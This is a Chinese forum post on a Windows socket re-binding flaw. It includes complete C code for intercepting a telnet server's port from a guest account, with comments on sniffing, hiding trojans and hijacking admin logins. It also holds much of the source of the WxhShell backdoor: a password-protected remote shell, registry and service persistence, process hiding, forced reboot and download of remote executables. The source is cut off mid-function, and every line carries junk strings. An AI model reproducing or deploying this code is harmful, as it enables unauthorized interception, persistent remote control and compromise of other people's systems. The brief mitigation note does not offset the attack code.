社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14040阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dDKqq(9(`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i#,1i VSG  
Nm8w/Q5D`  
  saddr.sin_family = AF_INET; 0^]t"z5f0  
w1B<0'#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @~jxG%y86  
zj]b&In6;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )LswSV  
~Sy-ga J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I{dl%z73  
i=QqB0  
  这意味着什么?意味着可以进行如下的攻击: +Z? [M1g  
q|q:: q*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [Hcaw   
@)sc6 *lnW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ u2Cd4  
_1JmjIH)M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PI7IBI  
6tOi^+qN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '\*A"8;h  
k)E;(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8wi A  
L+Pc<U)T+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B5Va%?Wg?H  
MM_py!=>7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }(=ml7)v  
I=YCQ VvA  
  #include "d?f:x3v^  
  #include !C7<sZ`C  
  #include 4]UT+'RubX  
  #include    *5wv%-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3c 28!3p  
  int main()  b~!om  
  { !b%,'fy)  
  WORD wVersionRequested; ||a`fH  
  DWORD ret; T|f_~#?eV  
  WSADATA wsaData; P`sN&Y~m  
  BOOL val; gStY8Z!k  
  SOCKADDR_IN saddr; v_-ls"l  
  SOCKADDR_IN scaddr; >5i?JUZ  
  int err; +-HE '4mo  
  SOCKET s; Cnur"?w@o  
  SOCKET sc; 3#9M2O\T  
  int caddsize; ~'f8L #[M  
  HANDLE mt; 3@X|Gs'_S  
  DWORD tid;   %)IrXz>Zh  
  wVersionRequested = MAKEWORD( 2, 2 ); fI[dhd6  
  err = WSAStartup( wVersionRequested, &wsaData ); A*Q[k 9B  
  if ( err != 0 ) { -HTL5  
  printf("error!WSAStartup failed!\n"); zjoo{IH}  
  return -1; ,#%SK;1<  
  } #5d8?n  
  saddr.sin_family = AF_INET; 5}SXYA}  
   ^@ UjQ9[>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <t6 d)mJ%  
m9g^ -X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =n }Yqny  
  saddr.sin_port = htons(23); f)tc4iV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t/LgHb:)  
  { Fhi5LhWe+.  
  printf("error!socket failed!\n"); ` Y\QUj  
  return -1; 1OPfRDn.bk  
  } N K"%DU<  
  val = TRUE; [Ye5Y?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~D!ESe*=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8Xk Ik7  
  { F25<+ 1kr  
  printf("error!setsockopt failed!\n"); sVD([`Nmc  
  return -1; j}RM.C\7  
  } akrCs&Kka5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hE5G!@1F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^HoJ.oC/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5|m9:Hv[#  
J]]\&MtaO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #]5)]LF1q  
  { (lWKy9eTy`  
  ret=GetLastError(); 1?]J;9p  
  printf("error!bind failed!\n"); QZYM9a>  
  return -1; sBB:$X  
  } A xR\ ned  
  listen(s,2); &u4Ve8#  
  while(1) z{V8@q/  
  { T;%+]:w<  
  caddsize = sizeof(scaddr); %rFllb7  
  //接受连接请求 E$&;]a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .)nCOwR6p  
  if(sc!=INVALID_SOCKET) ;l#?SYY  
  { U*xxrt/On/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,"C&v~  
  if(mt==NULL) ^B6`e^ <  
  { `0[fLEm  
  printf("Thread Creat Failed!\n"); SJF2k[da  
  break; ~:s!].H  
  } ~s0P FS7  
  } v5gQ9  
  CloseHandle(mt); %SFw~%@3&~  
  } y (ldO;.  
  closesocket(s); e7wKjt2fy  
  WSACleanup(); 6z`8cI+LRw  
  return 0; '&{(:,!B  
  }    z8tt+AU  
  DWORD WINAPI ClientThread(LPVOID lpParam) !?Tzk&'  
  { 3_@G{O)e  
  SOCKET ss = (SOCKET)lpParam; p?KCVvx$  
  SOCKET sc; @+Pf[J41  
  unsigned char buf[4096]; I$F\(]"@  
  SOCKADDR_IN saddr; (F_7%!g1d  
  long num; o+R. u}|  
  DWORD val;  1dXh\r_n  
  DWORD ret; .>a$g7Rj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C!I\Gh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L;kyAX@^  
  saddr.sin_family = AF_INET; <|wmjW/ D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  MbM :3  
  saddr.sin_port = htons(23); ),z,LU Yf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8*"rZh}'  
  { r$Kh3EEF`E  
  printf("error!socket failed!\n"); r ufRaar  
  return -1; 8Q +TE;  
  } :hi$}xHa  
  val = 100; -1#e^9Ve\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yW'BrTw  
  { %{c2lyw  
  ret = GetLastError(); N_|YOw6  
  return -1; EsS!07fAM:  
  } @$_rEdwi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PwRNBb}6  
  { M~#5/eRX  
  ret = GetLastError(); x%ZiE5#  
  return -1; pvI&-D #}  
  } '$lw[1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d9ZDpzx B  
  { 7=AO^:=bx  
  printf("error!socket connect failed!\n"); C[^a/P`i  
  closesocket(sc); ?T~3B]R  
  closesocket(ss); )vxVg*.Ee  
  return -1; 30e(4@!4vW  
  } vBV"i9n   
  while(1) mq>*W' M  
  { -_:JQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (d1V1t2r6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T9,lblU Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G`&'Bt{Z*  
  num = recv(ss,buf,4096,0); NN?Bi=&9  
  if(num>0) E]D4']  
  send(sc,buf,num,0); #{.pQi})  
  else if(num==0) =#J 9  
  break; a^(S!I  
  num = recv(sc,buf,4096,0); 8j({=xbg&  
  if(num>0) ?yda.<"g9Y  
  send(ss,buf,num,0); ,|=iv  
  else if(num==0) )yfOrsM  
  break; >0[qi1  
  } 9LUP{(uq  
  closesocket(ss); +G>aj '\M|  
  closesocket(sc); v #zfs'  
  return 0 ; >7eu'  
  } 47$-5k30  
w4 >:uyE  
C _ k_D  
========================================================== im_0ur&'  
-uS7~Ww.a  
下边附上一个代码,,WXhSHELL e{d_p%(  
9~*_(yjF  
========================================================== r5<e}t-  
rGP? E3  
#include "stdafx.h" U* c{:K-C  
jFK9?cLT  
#include <stdio.h> +K @J*W 1  
#include <string.h> E}E7VQjM  
#include <windows.h> !dYX2!lvT  
#include <winsock2.h> p2M?pV  
#include <winsvc.h> ?3e!A9x  
#include <urlmon.h> \Mh4X`<e  
_,Io(QS  
#pragma comment (lib, "Ws2_32.lib") gb^UFD L  
#pragma comment (lib, "urlmon.lib") !'c6Hs  
%t(, *;  
#define MAX_USER   100 // 最大客户端连接数 k N uN4/  
#define BUF_SOCK   200 // sock buffer $/-wgyP3m+  
#define KEY_BUFF   255 // 输入 buffer gDjd{+LUo  
@vDgpb@TM  
#define REBOOT     0   // 重启 UwzE'#Q-  
#define SHUTDOWN   1   // 关机 X_EC:GU  
=[43y%   
#define DEF_PORT   5000 // 监听端口 ahz@HX  
"fX8xZdS  
#define REG_LEN     16   // 注册表键长度 g@N=N  
#define SVC_LEN     80   // NT服务名长度 < '+R%6  
J/H#d')c  
// 从dll定义API co(fGp#!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r[i~4N=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V9);kD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "J0Oa?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B_6v'=7]  
v f/$`IJ  
// wxhshell配置信息 s}p GJ&C  
struct WSCFG { (h8hg+l o  
  int ws_port;         // 监听端口 x Jj8njuq4  
  char ws_passstr[REG_LEN]; // 口令  G$cq   
  int ws_autoins;       // 安装标记, 1=yes 0=no (D +{0 /  
  char ws_regname[REG_LEN]; // 注册表键名 E2ayK> ,  
  char ws_svcname[REG_LEN]; // 服务名 KX=:)%+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4jue_jsle  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e`gGzyM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q?I"J$]&L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ADJ5ZD<Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8Y;zs7Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :9O0?6:B|  
 Cq~ah  
}; d5Eee^Qu/  
`)xU;-  
// default Wxhshell configuration +{ ,w#@  
struct WSCFG wscfg={DEF_PORT, [b\lcQ8O  
    "xuhuanlingzhe", hr 6LB&d_  
    1, _|Kv~\G!  
    "Wxhshell", vVvt ]h  
    "Wxhshell", |] f"j':  
            "WxhShell Service", JJZXSBAOU  
    "Wrsky Windows CmdShell Service", 9  lazo  
    "Please Input Your Password: ", V.G9J!?<P  
  1, MX< ($M  
  "http://www.wrsky.com/wxhshell.exe", *j|Tm7C  
  "Wxhshell.exe" 8-l)TTP&.  
    };  C.TCDl  
cB9KHqB  
// 消息定义模块 $dWl A<u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NiQc2\4%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e&]`X HC9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W:N"O\`{m  
char *msg_ws_ext="\n\rExit."; zI*/u)48  
char *msg_ws_end="\n\rQuit."; K]=>F  
char *msg_ws_boot="\n\rReboot..."; wW)&Px n  
char *msg_ws_poff="\n\rShutdown..."; &#EVE xL  
char *msg_ws_down="\n\rSave to "; @8 yE(  
=Q8^@i4[&D  
char *msg_ws_err="\n\rErr!"; 5/eS1NJ@  
char *msg_ws_ok="\n\rOK!"; +#*z"a`  
:J)l C =  
char ExeFile[MAX_PATH]; ch2e#Jf8  
int nUser = 0; (nP*  
HANDLE handles[MAX_USER]; J\8l%4q3  
int OsIsNt; s }R:q  
VRN9yn2  
SERVICE_STATUS       serviceStatus; /dP8F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |LGNoP}SA  
zR/p}Wu|!  
// 函数声明 MZ+IorZl  
int Install(void); '[ddE!ta  
int Uninstall(void); t>=y7n&q  
int DownloadFile(char *sURL, SOCKET wsh); 2g07wJ6x  
int Boot(int flag); laRKt"A  
void HideProc(void); (NWN&  
int GetOsVer(void); e4_aKuA  
int Wxhshell(SOCKET wsl); W3-Rs&se  
void TalkWithClient(void *cs); SJuf`  
int CmdShell(SOCKET sock); Pc-8L]2oaF  
int StartFromService(void); qt&"cw  
int StartWxhshell(LPSTR lpCmdLine); JSZ j0_ B  
D8Waf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6+d"3-R.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d/99!+r  
;[\2/$-  
// 数据结构和表定义 Gw\HL  
SERVICE_TABLE_ENTRY DispatchTable[] = r.G/f{=<@  
{ v'~nABYH  
{wscfg.ws_svcname, NTServiceMain}, a0j.\g  
{NULL, NULL} dfk TDG+  
}; #dm@%~B{.  
+(k)1kCMn  
// 自我安装 q,>F#A '  
int Install(void)  WD do{  
{ z# ?w/NE  
  char svExeFile[MAX_PATH]; y Q @=\'  
  HKEY key; q^+NhAMz  
  strcpy(svExeFile,ExeFile); ~ M>zO#U6  
qQR YHo>/e  
// 如果是win9x系统,修改注册表设为自启动 *UxB`iA  
if(!OsIsNt) { bOGDz|H``  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ch!Q?4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |+=:x]#vV  
  RegCloseKey(key); 3jdB8a]T_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <cOE6;d#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uV:uXQni``  
  RegCloseKey(key); Pds*M?&F  
  return 0; 4qXUk:C@m  
    } 8ch~UBq/  
  } `1v!sSR0R  
} $YQ&\[pDA  
else { O]LuL&=s y  
S<9d^= a  
// 如果是NT以上系统,安装为系统服务 l@F e(^5E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); umrI4.1c  
if (schSCManager!=0) vl(v1[pU  
{ t-'GRme  
  SC_HANDLE schService = CreateService |0!97* H5  
  ( bQQ/7KM  
  schSCManager, `hf9rjy4  
  wscfg.ws_svcname, \ ozy_s[  
  wscfg.ws_svcdisp, jmzvp6N$8  
  SERVICE_ALL_ACCESS, m@2xC,@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bw7:ry  
  SERVICE_AUTO_START, U)1qsUDF  
  SERVICE_ERROR_NORMAL, @I.O T  
  svExeFile, {O oNhN9  
  NULL, toZI.cSg4  
  NULL, M<m64{m1  
  NULL, )H, <i{80c  
  NULL,  M!DoR6  
  NULL RSeezP6#  
  ); qNVw+U;2P  
  if (schService!=0) uvM8 8#  
  { )Bvu[r Uy  
  CloseServiceHandle(schService); >A "aOV>K  
  CloseServiceHandle(schSCManager); LVtQ^ 5>8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  o%4+I>  
  strcat(svExeFile,wscfg.ws_svcname); H#` ?toS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { htSk2N/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =YsTF T  
  RegCloseKey(key); HON[{Oq  
  return 0; iDxgAV f*  
    } .7rsbZzs  
  } VQ 3&  
  CloseServiceHandle(schSCManager); o=2`N2AL  
} li XD2N  
} *,*5sV  
sjkl? _  
return 1; g*AqFY7|  
} Wfw9cxGkf  
"G)?  E|  
// 自我卸载 e(5R8ud  
int Uninstall(void) FMr$cKvE]W  
{ P.J}\;S T  
  HKEY key; ]F-6KeBc  
9'aR-tFun;  
if(!OsIsNt) { yiA\$mtO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { En_8H[<%  
  RegDeleteValue(key,wscfg.ws_regname); Z|wDM^Lf  
  RegCloseKey(key); dju{&wo~4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FKm2slzb  
  RegDeleteValue(key,wscfg.ws_regname); Gukq}ZQd  
  RegCloseKey(key); %LW~oI.  
  return 0; '(>N gd[  
  } ?`}U|]c  
} ]qRz!D%@^  
} 9:~^KQ{?  
else { o>%W7@Pr  
sB!A:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u8=|{)yL  
if (schSCManager!=0) qT%E[qDS  
{ I2Q?7p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zwHsdB=v  
  if (schService!=0) Y[,C1,  
  { Vi-@z;k  
  if(DeleteService(schService)!=0) { |@|D''u>6  
  CloseServiceHandle(schService); KJSy7F  
  CloseServiceHandle(schSCManager); qm_E/B  
  return 0; 9V!K. _Cb  
  } ,%<77LE  
  CloseServiceHandle(schService); M#|xj <p  
  } Bqj *{m  
  CloseServiceHandle(schSCManager); G;+ 0V0K  
} ~vS.Dr  
} 5?"ZM'4  
@#">~P|Hp  
return 1; XA%?35v~  
} !4fL|0  
YJ`>&AJ  
// 从指定url下载文件 D1a2|^zt  
int DownloadFile(char *sURL, SOCKET wsh) eU*h qy?0  
{ h2K  
  HRESULT hr; l6O(+*6Us  
char seps[]= "/"; #=m5*}=  
char *token; hNfL /^w  
char *file; n$iz   
char myURL[MAX_PATH]; ;pq4El_  
char myFILE[MAX_PATH]; v\u+=}r l  
Yr@@ty  
strcpy(myURL,sURL); .kV/ 0!q?  
  token=strtok(myURL,seps); Rk^&ras_  
  while(token!=NULL) WOoVVjMM  
  { #,C{?0!  
    file=token; 0KEl+  
  token=strtok(NULL,seps); d7Z\  
  } u]-$]zIH  
\!Pm^FD .  
GetCurrentDirectory(MAX_PATH,myFILE); yR-.OF,c  
strcat(myFILE, "\\"); T8k oP  
strcat(myFILE, file); &[xJfL  
  send(wsh,myFILE,strlen(myFILE),0);  VPzdT*g]  
send(wsh,"...",3,0); ZgtOy|?|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *2Kte'+q  
  if(hr==S_OK) QBg'VV  
return 0; :a2?K5  
else 0'",4=c#V  
return 1; 4`B:Mq&j  
bcg)K`'N  
} uv4jbg}Z+3  
~-x\E#(  
// 系统电源模块 ?e*vvu33!  
int Boot(int flag) eyOAG4QTV  
{ f}A^rWO  
  HANDLE hToken; Px`yD3  
  TOKEN_PRIVILEGES tkp; GfV9Ox   
w@R-@ G  
  if(OsIsNt) { W%x#ps5%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZO}*^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fej$`2mRH  
    tkp.PrivilegeCount = 1; z Ey&%Ok  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9i@*\Ada  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |tkmO:  
if(flag==REBOOT) { F);C?SW"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b $!l* r  
  return 0; a+d|9y/k  
} Uz6B\-(0p  
else { Vj1AW<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?0F#\0  
  return 0; C" {j0X`  
} x.aUuC,$x  
  } )yJjJ:re  
  else { l}{O  
if(flag==REBOOT) { uxBk7E%6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HukHZ;5  
  return 0; GZo^0U,;  
} Aka`L:k  
else { $J+$ 8pA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mDhU wZH  
  return 0; ?k-IS5G  
} pc #^ {-  
} 3)sqAs(  
9;jfg|x1[  
return 1; -HOCxR  
} LcXrD+ 1  
$%<gp@Gz  
// win9x进程隐藏模块 H!N,PI?rn  
void HideProc(void) 3!I8J:GZ:  
{ x!J L9  
&,+ZN A`P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )+J?(&6  
  if ( hKernel != NULL ) | e+m!G1G  
  { Mg].#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iV%% VR8b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G:UdU{  
    FreeLibrary(hKernel); K% ;O$ >  
  } !zeBxR$&o  
Adh CC13B  
return; IkupW|}rc  
} x&sF_<[  
#RcmO **  
// 获取操作系统版本 q?6Zu:':  
int GetOsVer(void) /dO&r'!:  
{ M30_b8[Y_  
  OSVERSIONINFO winfo; w ^A0l.{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ][.1b@)qV  
  GetVersionEx(&winfo); 3Xy>kG}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @{j-B IRZ0  
  return 1; ?r/7:  
  else aw~OvnX E  
  return 0; Z@>>ZS1Do  
} U6{ RHS[  
kG{(Qi  
// 客户端句柄模块 kb>9;-%^JK  
int Wxhshell(SOCKET wsl) g&"Nr aQM9  
{ dJkT Hmw  
  SOCKET wsh; *J6qL! ["  
  struct sockaddr_in client; E-RbFTVBA  
  DWORD myID; U+W8)7bc  
/c09-$M  
  while(nUser<MAX_USER) lB,MVsn18  
{ ^b4o 0me  
  int nSize=sizeof(client); F"LT\7yjyG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =%bc;ZUu  
  if(wsh==INVALID_SOCKET) return 1; CN zK-,  
P9c1NX\-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?[kO= hs  
if(handles[nUser]==0) A!NT 2YdHZ  
  closesocket(wsh); C~ >'pS6%5  
else -Z:al\e<g  
  nUser++; E3`KO'v%  
  } ~_K   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Od"-w<'  
y};qo'dlt  
  return 0; 9,,1\0-T*  
} OuX/BMG  
j,Mp["X&  
// 关闭 socket 7I HWj<  
void CloseIt(SOCKET wsh) _ TUw0:&  
{ vWow^g  
closesocket(wsh); M jHeUf  
nUser--; ]TGJ|X  
ExitThread(0); :D&QGw(n  
} ^  K/B[8  
`W"-jz5#=  
// 客户端请求句柄 $ \jly  
void TalkWithClient(void *cs) &98qAO]Z  
{ F M`pPx  
n 6oVx 5/  
  SOCKET wsh=(SOCKET)cs; |ek*wo  
  char pwd[SVC_LEN]; e&E*$G@.7  
  char cmd[KEY_BUFF]; qWo|LpxWt  
char chr[1]; DD;PmIW  
int i,j;  Vb/J`  
|GIT{_JE  
  while (nUser < MAX_USER) { #* w$JH  
X]`\NNx  
if(wscfg.ws_passstr) { 5^ pQ=Sgt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eK]GyY/Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z$2mVRS`c  
  //ZeroMemory(pwd,KEY_BUFF); )M1.>?b  
      i=0; K":- zS  
  while(i<SVC_LEN) { XfB;^y=u8  
2 !{P<   
  // 设置超时 m"u 9AOHk  
  fd_set FdRead; _w)0r}{  
  struct timeval TimeOut; U; ev3  
  FD_ZERO(&FdRead); #LF_*a0v  
  FD_SET(wsh,&FdRead); 1`b?nX  
  TimeOut.tv_sec=8; 75<E0O  
  TimeOut.tv_usec=0; G.L4l|%W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); { Ke3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i^j{l_-JE  
W&G DE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x'}{^'}/  
  pwd=chr[0]; d d8^V_Kx  
  if(chr[0]==0xd || chr[0]==0xa) { 5C/u`{4]Hg  
  pwd=0; F*} b),  
  break; 3<B{-z  
  } <;M6s~  
  i++; &u$l2hSS  
    } |IZG `3  
 c,x2   
  // 如果是非法用户,关闭 socket ;u , 5 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ .>)*P  
} %Sj;:LC  
T- JJc#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OG0ro(|dI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0M pX.0  
D7 A{*Tm  
while(1) { I9B B<~4o  
Bojm lVg  
  ZeroMemory(cmd,KEY_BUFF); r)ga{Nn,.  
sd Z=3)  
      // 自动支持客户端 telnet标准   obUh+9K  
  j=0; aNfgSo05@n  
  while(j<KEY_BUFF) { (n#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eD G=-a4  
  cmd[j]=chr[0]; |)1"*`z  
  if(chr[0]==0xa || chr[0]==0xd) { y=-d*E  
  cmd[j]=0; ZO:{9vt=/  
  break;  Q"%L  
  } %xL3=4\  
  j++; JWM/np6  
    } 8&H1w9NrX_  
Xig%Q~oMp  
  // 下载文件 !i{@B  
  if(strstr(cmd,"http://")) { nbhx2@Teqe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n0nkv[  
  if(DownloadFile(cmd,wsh)) 9NKZE?5P|D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH8a"Hq)  
  else _/7[=e}y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tlG&PVvr  
  } ;v#~ o*  
  else { f H}`  
m&b!\"0  
    switch(cmd[0]) { .b5B7 x}  
  d7P| x  
  // 帮助 n8J';F =P  
  case '?': { [96|xe\s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7?b'"X"  
    break; Kq{9 :G  
  } (eG#JVsm9  
  // 安装 [K%J t  
  case 'i': { [JsQ/|=z  
    if(Install()) lLo FM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XgU]Ktl  
    else sg{>-KHM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P !6r`d  
    break; qDOx5.d  
    } i7:j(W^I8  
  // 卸载 >e"1a/2%>&  
  case 'r': { n(-XI&Kn  
    if(Uninstall()) z$H |8L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); naW}[y*y;  
    else G$Z8k,g+<7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( 8k3z`  
    break; >lN{FJ  
    } r!#NFek}  
  // 显示 wxhshell 所在路径 Qq^>7OU>Co  
  case 'p': { m`E8gVC  
    char svExeFile[MAX_PATH]; ]@>bz  
    strcpy(svExeFile,"\n\r"); ]`]m41+w  
      strcat(svExeFile,ExeFile); cD]{ Nn  
        send(wsh,svExeFile,strlen(svExeFile),0); L@9"6&  
    break; bZ:w_z[3=  
    } ZN',=&;n'  
  // 重启 5H`k$[3V  
  case 'b': { ?ZE1>L7e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8BC}D+q  
    if(Boot(REBOOT)) !Vv$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^=FtF9v  
    else { [P,1UO|$B  
    closesocket(wsh); ;&?NuK  
